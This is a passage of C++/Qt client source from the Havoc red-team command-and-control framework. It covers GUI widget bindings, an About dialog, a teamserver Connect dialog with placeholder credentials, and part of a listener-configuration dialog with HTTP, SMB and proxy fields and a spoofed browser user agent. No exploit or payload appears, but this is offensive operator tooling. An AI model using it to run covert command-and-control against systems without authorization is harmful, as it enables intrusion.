&& PyBool_Check(scrollable) && scrollable == Py_True) self->WidgetWindow->root_layout->addWidget(self->WidgetWindow->scroll); else self->WidgetWindow->root_layout->addWidget(self->WidgetWindow->root); return 0; } // Methods PyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QLabel* label = new QLabel(text, self->WidgetWindow->window); self->WidgetWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* WidgetClass_addImage( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QPixmap img(text); QLabel* label = new QLabel(self->WidgetWindow->window); label->setPixmap(img); self->WidgetWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args ) { HavocX::HavocUserInterface->NewBottomTab( self->WidgetWindow->window, self->title); Py_RETURN_NONE; } PyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args ) { HavocX::HavocUserInterface->NewSmallTab( self->WidgetWindow->window, self->title); Py_RETURN_NONE; } PyObject* WidgetClass_addButton( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* button_callback = nullptr; if( !PyArg_ParseTuple( args, "sO|s", &text, &button_callback, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(button_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QPushButton* button = new QPushButton(text, self->WidgetWindow->window); if (style) button->setStyleSheet(style); self->WidgetWindow->layout->addWidget(button); QObject::connect(button, &QPushButton::clicked, self->WidgetWindow->window, [button_callback]() { PyObject_CallFunctionObjArgs(button_callback, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* checkbox_callback = nullptr; PyObject* is_checked = nullptr; if( !PyArg_ParseTuple( args, "sO|Os", &text, &checkbox_callback, &is_checked, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(checkbox_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCheckBox* checkbox = new QCheckBox(text, self->WidgetWindow->window); if (style) checkbox->setStyleSheet(style); if (is_checked && PyBool_Check(is_checked) && is_checked == Py_True) checkbox->setChecked(true); self->WidgetWindow->layout->addWidget(checkbox); QObject::connect(checkbox, &QCheckBox::clicked, self->WidgetWindow->window, [checkbox_callback]() { PyObject_CallFunctionObjArgs(checkbox_callback, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args ) { Py_ssize_t tuple_size = PyTuple_Size(args); QComboBox* comboBox = new QComboBox(self->WidgetWindow->window); PyObject* callable_obj = PyTuple_GetItem(args, 0); if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } for (Py_ssize_t i = 1; i < tuple_size; i++) { const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); comboBox->addItem(string_obj); } self->WidgetWindow->layout->addWidget(comboBox); QObject::connect(comboBox, QOverload::of(&QComboBox::activated), [callable_obj](int index) { PyObject* pArg = PyLong_FromLong(index); PyObject_CallFunctionObjArgs(callable_obj, pArg, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; PyObject* line_callback = nullptr; if( !PyArg_ParseTuple( args, "sO", &text, &line_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(line_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QLineEdit* line = new QLineEdit(self->WidgetWindow->window); line->setPlaceholderText(text); self->WidgetWindow->layout->addWidget(line); QObject::connect(line, &QLineEdit::editingFinished, self->WidgetWindow->window, [line, line_callback]() { QString text = line->text(); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(line_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCalendarWidget* cal = new QCalendarWidget(self->WidgetWindow->window); self->WidgetWindow->layout->addWidget(cal); QObject::connect(cal, &QCalendarWidget::selectionChanged, self->WidgetWindow->window, [cal, cal_callback]() { QDate selectedDate = cal->selectedDate(); QString text = selectedDate.toString("yyyy-MM-dd"); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(cal_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addDial( PPyWidgetClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QDial* dial = new QDial(self->WidgetWindow->window); self->WidgetWindow->layout->addWidget(dial); QObject::connect(dial, &QDial::valueChanged, self->WidgetWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args ) { PyObject* cal_callback = nullptr; PyObject* vertical = nullptr; if( !PyArg_ParseTuple( args, "O|O", &cal_callback, &vertical) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QSlider* slider = nullptr; if (vertical && PyBool_Check(vertical) && vertical == Py_True) { slider = new QSlider(Qt::Vertical); } else { slider = new QSlider(Qt::Horizontal); } self->WidgetWindow->layout->addWidget(slider); QObject::connect(slider, &QSlider::valueChanged, self->WidgetWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args ) { char* to_find = NULL; char* to_replace= NULL; QVBoxLayout *layout = self->WidgetWindow->layout; if( !PyArg_ParseTuple( args, "ss", &to_find, &to_replace) ) { Py_RETURN_NONE; } QString targetText = QString(to_find); for (int i = 0; i < layout->count(); ++i) { QLayoutItem* item = layout->itemAt(i); if (item->widget() && item->widget()->inherits("QLabel")) { QLabel* label = qobject_cast(item->widget()); if (label && label->text() == targetText) { label->setText(to_replace); break; } } } Py_RETURN_NONE; } PyObject* WidgetClass_clear( PPyWidgetClass self, PyObject *args ) { QVBoxLayout *layout = self->WidgetWindow->layout; QLayoutItem* item; while ((item = layout->takeAt(0)) != nullptr) { delete item->widget(); delete item; } Py_RETURN_NONE; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/Service.cc000066400000000000000000000001051467014221700222770ustar00rootroot00000000000000#include uint64_t DemonMagicValue = 0xdeadbeef; havoc-0.6~git20240910.69ce17c/client/src/Main.cc000066400000000000000000000010241467014221700205240ustar00rootroot00000000000000#include #include #include auto main( int argc, char** argv ) -> int { auto HavocApp = QApplication( argc, argv ); auto Status = 0; QGuiApplication::setWindowIcon( QIcon( ":/Havoc.ico" ) ); HavocNamespace::HavocApplication = new HavocNamespace::HavocSpace::Havoc( new QMainWindow ); HavocNamespace::HavocApplication->Init( argc, argv ); Status = QApplication::exec(); spdlog::info( "Havoc Application status: {}", Status ); return Status; } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/000077500000000000000000000000001467014221700220735ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Dialogs/000077500000000000000000000000001467014221700234555ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Dialogs/About.cc000066400000000000000000000056331467014221700250450ustar00rootroot00000000000000#include #include About::About( QDialog* dialog ) { AboutDialog = dialog; if ( AboutDialog->objectName().isEmpty() ) AboutDialog->setObjectName( QString::fromUtf8( "Dialogs" ) ); AboutDialog->setWindowTitle("About"); AboutDialog->resize(400, 323); gridLayout = new QGridLayout(AboutDialog); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); label = new QLabel( AboutDialog ); label->setObjectName(QString::fromUtf8("label_Name")); label->setMinimumSize(QSize(196, 0)); gridLayout->addWidget(label, 0, 0, 1, 3); pushButton = new QPushButton(AboutDialog); pushButton->setObjectName(QString::fromUtf8("pushButton_New_Profile")); gridLayout->addWidget(pushButton, 3, 2, 1, 1); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer, 2, 1, 1, 1); textBrowser = new QTextBrowser(AboutDialog); textBrowser->setObjectName(QString::fromUtf8("textBrowser")); textBrowser->setOpenExternalLinks(true); gridLayout->addWidget(textBrowser, 1, 0, 1, 3); label->setText(QCoreApplication::translate("Dialogs", R"(

    Havoc

    )", nullptr)); pushButton->setText(QCoreApplication::translate("Dialogs", "Close", nullptr)); textBrowser->setHtml(QCoreApplication::translate("Dialogs", "\n" "\n" "

    About Havoc

    \n" "

    Welcome to Havoc. Havoc is a Software for Adversary Simulations and Red Team Operations by 5pider.

    ", nullptr)); QObject::connect( pushButton, &QPushButton::clicked, this, &About::onButtonClose ); QMetaObject::connectSlotsByName( AboutDialog ); } void About::setupUi() { } void About::onButtonClose() { AboutDialog->close(); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Dialogs/Connect.cc000066400000000000000000000305051467014221700253600ustar00rootroot00000000000000#include #include #include #include #include void HavocNamespace::UserInterface::Dialogs::Connect::setupUi( QDialog* Form ) { this->ConnectDialog = Form; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8( "Form" ) ); Form->resize( 500, 260 ); Form->setMinimumSize( QSize( 500, 260 ) ); Form->setMaximumSize( QSize( 500, 260 ) ); Form->setStyleSheet( FileRead( ":/stylesheets/Dialogs/Connect" ) ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); plainTextEdit = new QPlainTextEdit( Form ); plainTextEdit->setObjectName( QString::fromUtf8( "plainTextEdit" ) ); plainTextEdit->setMaximumSize( QSize( 16777215, 45 ) ); plainTextEdit->setMinimumSize( QSize( 0, 45 ) ); plainTextEdit->setReadOnly( true ); plainTextEdit->setPlainText( "Havoc connection dialog. Connect to a havoc teamserver." ); label_Port = new QLabel( Form ); label_Port->setObjectName( QString::fromUtf8( "label_Port" ) ); ButtonNewProfile = new QPushButton( Form ); ButtonNewProfile->setObjectName( QString::fromUtf8( "ButtonNewProfile" ) ); ButtonNewProfile->setMinimumSize( QSize( 10, 30 ) ); label_Name = new QLabel( Form ); label_Name->setObjectName( QString::fromUtf8( "label_Name" ) ); lineEdit_Name = new QLineEdit( Form ); lineEdit_Name->setObjectName( QString::fromUtf8( "lineEdit_Name" ) ); lineEdit_Name->setMinimumSize( QSize( 150, 0 ) ); lineEdit_Host = new QLineEdit( Form ); lineEdit_Host->setObjectName( QString::fromUtf8( "lineEdit_Host" ) ); lineEdit_Port = new QLineEdit( Form ); lineEdit_Port->setObjectName( QString::fromUtf8( "lineEdit_Port" ) ); lineEdit_User = new QLineEdit( Form ); lineEdit_User->setObjectName( QString::fromUtf8( "lineEdit_User" ) ); lineEdit_Password = new QLineEdit( Form ); lineEdit_Password->setObjectName( QString::fromUtf8( "lineEdit_Password" ) ); lineEdit_Password->setEchoMode( QLineEdit::Password ); label_User = new QLabel( Form ); label_User->setObjectName( QString::fromUtf8( "label_User" ) ); ButtonConnect = new QPushButton( Form ); ButtonConnect->setObjectName( QString::fromUtf8( "ButtonConnect" ) ); label_Host = new QLabel( Form ); label_Host->setObjectName( QString::fromUtf8( "label_Host" ) ); label_Password = new QLabel( Form ); label_Password->setObjectName( QString::fromUtf8( "label_Password" ) ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); listContextMenu = new QMenu( this ); listContextMenu->addAction( "Remove", this, &Connect::itemRemove ); listContextMenu->addAction( "Clear", this, &Connect::itemsClear ); listContextMenu->setStyleSheet( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); listWidget = new QListWidget( Form ); listWidget->setObjectName( QString::fromUtf8( "listWidget" ) ); listWidget->setMaximumSize( QSize( 170, 16777215 ) ); listWidget->setContextMenuPolicy( Qt::CustomContextMenu ); listWidget->addAction( listContextMenu->menuAction() ); gridLayout->addWidget( ButtonNewProfile, 0, 0, 1, 1 ); gridLayout->addWidget( listWidget, 1, 0, 8, 1 ); gridLayout->addItem( horizontalSpacer, 1, 2, 1, 1 ); gridLayout->addWidget( plainTextEdit, 0, 1, 1, 2 ); gridLayout->addWidget( label_Name, 2, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Name, 2, 2, 1, 1 ); gridLayout->addWidget( label_Host, 3, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Host, 3, 2, 1, 1 ); gridLayout->addWidget( label_Port, 4, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Port, 4, 2, 1, 1 ); gridLayout->addWidget( label_User, 5, 1, 1, 1 ); gridLayout->addWidget( lineEdit_User, 5, 2, 1, 1 ); gridLayout->addWidget( label_Password, 6, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Password,6, 2, 1, 1 ); gridLayout->addWidget( ButtonConnect, 8, 2, 1, 1 ); paletteGray = new QPalette(); paletteGray->setColor( QPalette::Base, Qt::gray ); paletteWhite = new QPalette(); paletteWhite->setColor( QPalette::Base, Qt::white ); Form->setWindowTitle( "Connect" ); ButtonNewProfile->setText( "New Profile" ); label_Name->setText( "Name:" ); label_Host->setText( "Host:" ); label_Port->setText( "Port:" ); label_User->setText( "User:" ); label_Password->setText( "Password:" ); ButtonConnect->setText( "Connect" ); ButtonConnect->setFocus(); connect( listWidget, &QListWidget::itemPressed, this, &Connect::itemSelected ); connect( listWidget, &QListWidget::customContextMenuRequested, this, &Connect::handleContextMenu ); connect( lineEdit_Name, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_User, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_Host, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_Port, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_Password, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); QMetaObject::connectSlotsByName( Form ); } Util::ConnectionInfo HavocNamespace::UserInterface::Dialogs::Connect::StartDialog( bool FromAction ) { auto ProfileName = std::string(); listWidget->clear(); for ( auto & TeamserverConnection : TeamserverList ) { listWidget->addItem( TeamserverConnection.Name ); } listWidget->setCurrentRow( 0 ); if ( ! listWidget->selectedItems().empty() ) this->itemSelected(); else this->isNewProfile = true; connect( ButtonConnect, &QPushButton::clicked, this, &Connect::onButton_Connect ); connect( ButtonNewProfile, &QPushButton::clicked, this, &Connect::onButton_NewProfile ); ConnectDialog->exec(); auto ConnectionInfo = new Util::ConnectionInfo; ConnectionInfo->Name = lineEdit_Name->text(); ConnectionInfo->Host = lineEdit_Host->text(); ConnectionInfo->Port = lineEdit_Port->text(); ConnectionInfo->User = lineEdit_User->text(); ConnectionInfo->Password = lineEdit_Password->text(); ProfileName = ConnectionInfo->Name.toStdString(); if ( this->tryConnect ) { auto ConnectionInstant = new Connector( ConnectionInfo ); HavocX::Teamserver = *ConnectionInfo; HavocX::Connector = ConnectionInstant; if ( this->isNewProfile ) { if ( ! this->dbManager->addTeamserverInfo( *ConnectionInfo ) ) { spdlog::warn( "Failed to add Teamserver Info to database" ); } } else if ( ConnectionInstant->ErrorString == nullptr ) { spdlog::info( "Connecting to profile: {}", ProfileName ); } else { spdlog::critical( "Couldn't connect to profile: {}", ProfileName ); Havoc::Exit(); } } else { if (!FromAction) { spdlog::info("Exit program from Connection Dialog"); HavocNamespace::HavocSpace::Havoc::Exit(); } } return *ConnectionInfo; } void HavocNamespace::UserInterface::Dialogs::Connect::passDB(HavocNamespace::HavocSpace::DBManager* db) { this->dbManager = db; } void HavocNamespace::UserInterface::Dialogs::Connect::onButton_Connect() { if ( lineEdit_Name->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Name is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_Host->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Host is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_Port->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Port is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_User->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "User is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_Password->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Password is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( this->dbManager->checkTeamserverExists( lineEdit_Name->text() ) && this->isNewProfile ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Profile Name already exists" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } this->tryConnect = true; this->listWidget->addItem( lineEdit_Name->text() ); this->ConnectDialog->close(); } void HavocNamespace::UserInterface::Dialogs::Connect::itemSelected() { auto ProfileName = listWidget->currentItem()->text(); this->isNewProfile = false; for ( auto& Profile : TeamserverList ) { if ( Profile.Name == ProfileName ) { lineEdit_Name->setPalette( *paletteGray ); lineEdit_Name->setReadOnly( true ); lineEdit_Name->setText( Profile.Name ); lineEdit_Host->setText( Profile.Host ); lineEdit_Port->setText( Profile.Port ); lineEdit_User->setText( Profile.User ); lineEdit_Password->setText( Profile.Password ); } } ButtonConnect->setFocus(); } void HavocNamespace::UserInterface::Dialogs::Connect::onButton_NewProfile() { this->isNewProfile = true; listWidget->setCurrentIndex(QModelIndex()); lineEdit_Name->setText( "Death Star" ); lineEdit_Name->setPalette(*paletteWhite); lineEdit_Name->setReadOnly(false); lineEdit_Host->setText( "127.0.0.1" ); lineEdit_Port->setText( "40056" ); lineEdit_User->setText( "5pider" ); lineEdit_Password->setText( "password" ); } void HavocNamespace::UserInterface::Dialogs::Connect::handleContextMenu( const QPoint &pos ) { auto globalPos = listWidget->mapToGlobal( pos ); listContextMenu->exec( globalPos ); } void HavocNamespace::UserInterface::Dialogs::Connect::itemRemove() { for ( int i = 0; i < listWidget->selectedItems().size(); ++i ) { auto item = listWidget->takeItem( listWidget->currentRow() ); this->dbManager->removeTeamserverInfo( item->text() ); delete item; } this->onButton_NewProfile(); } void HavocNamespace::UserInterface::Dialogs::Connect::itemsClear() { this->listWidget->clear(); this->dbManager->removeAllTeamservers(); this->onButton_NewProfile(); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Dialogs/Listener.cc000066400000000000000000001117301467014221700255540ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; using namespace HavocNamespace::UserInterface::Dialogs; bool is_number( const std::string& s ) { std::string::const_iterator it = s.begin(); while (it != s.end() && std::isdigit(*it)) ++it; return !s.empty() && it == s.end(); } NewListener::NewListener( QDialog* Dialog ) { ListenerDialog = Dialog; if ( ListenerDialog->objectName().isEmpty() ) ListenerDialog->setObjectName( QString::fromUtf8( "ListenerWidget" ) ); Dialog->setStyleSheet( FileRead( ":/stylesheets/Dialogs/Listener" ) ); ListenerDialog->resize( 550, 600 ); gridLayout = new QGridLayout( ListenerDialog ); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); ConfigBox = new QGroupBox( ListenerDialog ); ConfigBox->setObjectName(QString::fromUtf8("ConfigBox")); gridLayout_2 = new QGridLayout( ConfigBox ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); gridLayout_2->setHorizontalSpacing( 0 ); gridLayout_2->setContentsMargins( 0, 0, 0, 0 ); StackWidgetConfigPages = new QStackedWidget( ConfigBox ); StackWidgetConfigPages->setObjectName( QString::fromUtf8( "StackWidgetConfigPages" ) ); // ============ // === HTTP === // ============ PageHTTP = new QWidget(); PageHTTP->setObjectName( QString::fromUtf8( "PageHTTP" ) ); LabelHosts = new QLabel( PageHTTP ); HostsGroup = new QGroupBox( PageHTTP ); ButtonHostsGroupAdd = new QPushButton( PageHTTP ); ButtonHostsGroupClear = new QPushButton( PageHTTP ); LabelHostRotation = new QLabel( PageHTTP ); ComboHostRotation = new QComboBox( PageHTTP ); LabelHostBind = new QLabel( PageHTTP ); ComboHostBind = new QComboBox( PageHTTP ); LabelPortBind = new QLabel( PageHTTP ); InputPortBind = new QLineEdit( PageHTTP ); LabelPortConn = new QLabel( PageHTTP ); InputPortConn = new QLineEdit( PageHTTP ); LabelUserAgent = new QLabel( PageHTTP ); InputUserAgent = new QLineEdit( PageHTTP ); LabelHeaders = new QLabel( PageHTTP ); HeadersGroup = new QGroupBox( PageHTTP ); ButtonHeaderGroupAdd = new QPushButton( PageHTTP ); ButtonHeaderGroupClear = new QPushButton( PageHTTP ); LabelUris = new QLabel( PageHTTP ); UrisGroup = new QGroupBox( PageHTTP ); ButtonUriGroupClear = new QPushButton( PageHTTP ); ButtonUriGroupAdd = new QPushButton( PageHTTP ); LabelHostHeader = new QLabel( PageHTTP ); InputHostHeader = new QLineEdit( PageHTTP ); CheckEnableProxy = new QCheckBox( PageHTTP ); horizontalSpacer_6 = new QSpacerItem( 0, 0, QSizePolicy::Expanding, QSizePolicy::Minimum ); verticalSpacer = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding ); verticalSpacerHeader = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding ); ProxyConfigBox = new QGroupBox( PageHTTP ); verticalSpacerUris = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding ); formLayout_Hosts = new QFormLayout( HostsGroup ); formLayout_Header = new QFormLayout( HeadersGroup ); formLayout_Uri = new QFormLayout( UrisGroup ); formLayout_3 = new QFormLayout( ProxyConfigBox ); LabelProxyType = new QLabel( ProxyConfigBox ); ComboProxyType = new QComboBox( ProxyConfigBox ); LabelProxyHost = new QLabel( ProxyConfigBox ); InputProxyHost = new QLineEdit( ProxyConfigBox ); LabelProxyPort = new QLabel( ProxyConfigBox ); InputProxyPort = new QLineEdit( ProxyConfigBox ); LabelUserName = new QLabel( ProxyConfigBox ); InputUserName = new QLineEdit( ProxyConfigBox ); LabelPassword = new QLabel( ProxyConfigBox ); InputPassword = new QLineEdit( ProxyConfigBox ); formLayout_3->setWidget( 0, QFormLayout::LabelRole, LabelProxyType ); formLayout_3->setWidget( 0, QFormLayout::FieldRole, ComboProxyType ); formLayout_3->setWidget( 1, QFormLayout::LabelRole, LabelProxyHost ); formLayout_3->setWidget( 1, QFormLayout::FieldRole, InputProxyHost ); formLayout_3->setWidget( 2, QFormLayout::LabelRole, LabelProxyPort ); formLayout_3->setWidget( 2, QFormLayout::FieldRole, InputProxyPort ); formLayout_3->setWidget( 3, QFormLayout::LabelRole, LabelUserName ); formLayout_3->setWidget( 3, QFormLayout::FieldRole, InputUserName ); formLayout_3->setWidget( 4, QFormLayout::LabelRole, LabelPassword ); formLayout_3->setWidget( 4, QFormLayout::FieldRole, InputPassword ); ComboHostBind->addItems( QStringList() << HavocX::Teamserver.IpAddresses << "127.0.0.1" << "0.0.0.0" ); CheckEnableProxy->setObjectName( "bool" ); ProxyConfigBox->setEnabled( true ); InputUserAgent->setText( "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" ); // default. maybe make it dynamic/random ? InputUserAgent->setCursorPosition( 0 ); InputPortBind->setText( "443" ); InputPortConn->setText( "443" ); // ============= // ==== SMB ==== // ============= PageSMB = new QWidget(); PageSMB->setObjectName(QString::fromUtf8("PageSMB")); formLayout = new QFormLayout( PageSMB ); formLayout->setObjectName(QString::fromUtf8("formLayout")); LabelPipeName = new QLabel( PageSMB ); LabelPipeName->setObjectName(QString::fromUtf8("LabelPipeName")); formLayout->setWidget(0, QFormLayout::LabelRole, LabelPipeName); InputPipeName = new QLineEdit( PageSMB ); InputPipeName->setObjectName( QString::fromUtf8( "InputPipeName" ) ); formLayout->setWidget(0, QFormLayout::FieldRole, InputPipeName); // ============== // == External == // ============== PageExternal = new QWidget(); PageExternal->setObjectName(QString::fromUtf8("PageExternal")); formLayout_2 = new QFormLayout(PageExternal); formLayout_2->setObjectName(QString::fromUtf8("formLayout_2")); LabelEndpoint = new QLabel(PageExternal); LabelEndpoint->setObjectName(QString::fromUtf8("LabelEndpoint")); formLayout_2->setWidget(0, QFormLayout::LabelRole, LabelEndpoint); InputEndpoint = new QLineEdit(PageExternal); InputEndpoint->setObjectName(QString::fromUtf8("InputEndpoint")); formLayout_2->setWidget(0, QFormLayout::FieldRole, InputEndpoint); gridLayout_2->addWidget( StackWidgetConfigPages, 0, 0, 1, 1 ); gridLayout->addWidget(ConfigBox, 3, 0, 1, 6); ComboPayload = new QComboBox( ListenerDialog ); ComboPayload->setObjectName( QString::fromUtf8( "ComboPayload" ) ); gridLayout->addWidget(ComboPayload, 1, 1, 1, 5); LabelListenerName = new QLabel(ListenerDialog); LabelListenerName->setObjectName(QString::fromUtf8("LabelListenerName")); gridLayout->addWidget(LabelListenerName, 0, 0, 1, 1); LabelPayload = new QLabel(ListenerDialog); LabelPayload->setObjectName(QString::fromUtf8("LabelPayload")); gridLayout->addWidget(LabelPayload, 1, 0, 1, 1); horizontalSpacer_5 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_5, 4, 4, 1, 1); ButtonSave = new QPushButton(ListenerDialog); ButtonSave->setObjectName(QString::fromUtf8("ButtonSave")); gridLayout->addWidget(ButtonSave, 4, 2, 1, 1); horizontalSpacer_4 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_4, 4, 1, 1, 1); horizontalSpacer_3 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_3, 4, 5, 1, 1); InputListenerName = new QLineEdit(ListenerDialog); InputListenerName->setObjectName(QString::fromUtf8("InputListenerName")); gridLayout->addWidget(InputListenerName, 0, 1, 1, 5); horizontalSpacer_2 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_2, 4, 0, 1, 1); ButtonClose = new QPushButton(ListenerDialog); ButtonClose->setObjectName(QString::fromUtf8("ButtonClose")); gridLayout->addWidget(ButtonClose, 4, 3, 1, 1); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer, 2, 0, 1, 6); StackWidgetConfigPages->setCurrentIndex( 0 ); // Page HTTP/HTTPs gridLayout_3 = new QGridLayout( PageHTTP ); gridLayout_3->setObjectName( QString::fromUtf8( "gridLayout_3" ) ); gridLayout_3->addWidget( LabelUserAgent, 8, 0, 1, 1 ); gridLayout_3->addWidget( ButtonUriGroupClear, 16, 2, 1, 1 ); gridLayout_3->addWidget( ComboHostBind, 5, 1, 1, 2 ); gridLayout_3->addWidget( LabelUris, 15, 0, 1, 1 ); gridLayout_3->addWidget( LabelHostHeader, 19, 0, 1, 1 ); gridLayout_3->addWidget( InputPortBind, 6, 1, 1, 2 ); gridLayout_3->addWidget( InputPortConn, 7, 1, 1, 2 ); gridLayout_3->addWidget( CheckEnableProxy, 20, 0, 1, 3 ); gridLayout_3->addWidget( ButtonHeaderGroupClear, 11, 2, 1, 1 ); gridLayout_3->addWidget( InputHostHeader, 19, 1, 1, 2 ); gridLayout_3->addWidget( LabelHeaders, 10, 0, 1, 1 ); gridLayout_3->addWidget( ButtonHostsGroupAdd, 0, 2, 1, 1 ); gridLayout_3->addWidget( LabelHostBind, 5, 0, 1, 1 ); gridLayout_3->addWidget( InputUserAgent, 8, 1, 1, 2 ); gridLayout_3->addWidget( ButtonUriGroupAdd, 15, 2, 1, 1 ); gridLayout_3->addWidget( HeadersGroup, 10, 1, 3, 1 ); 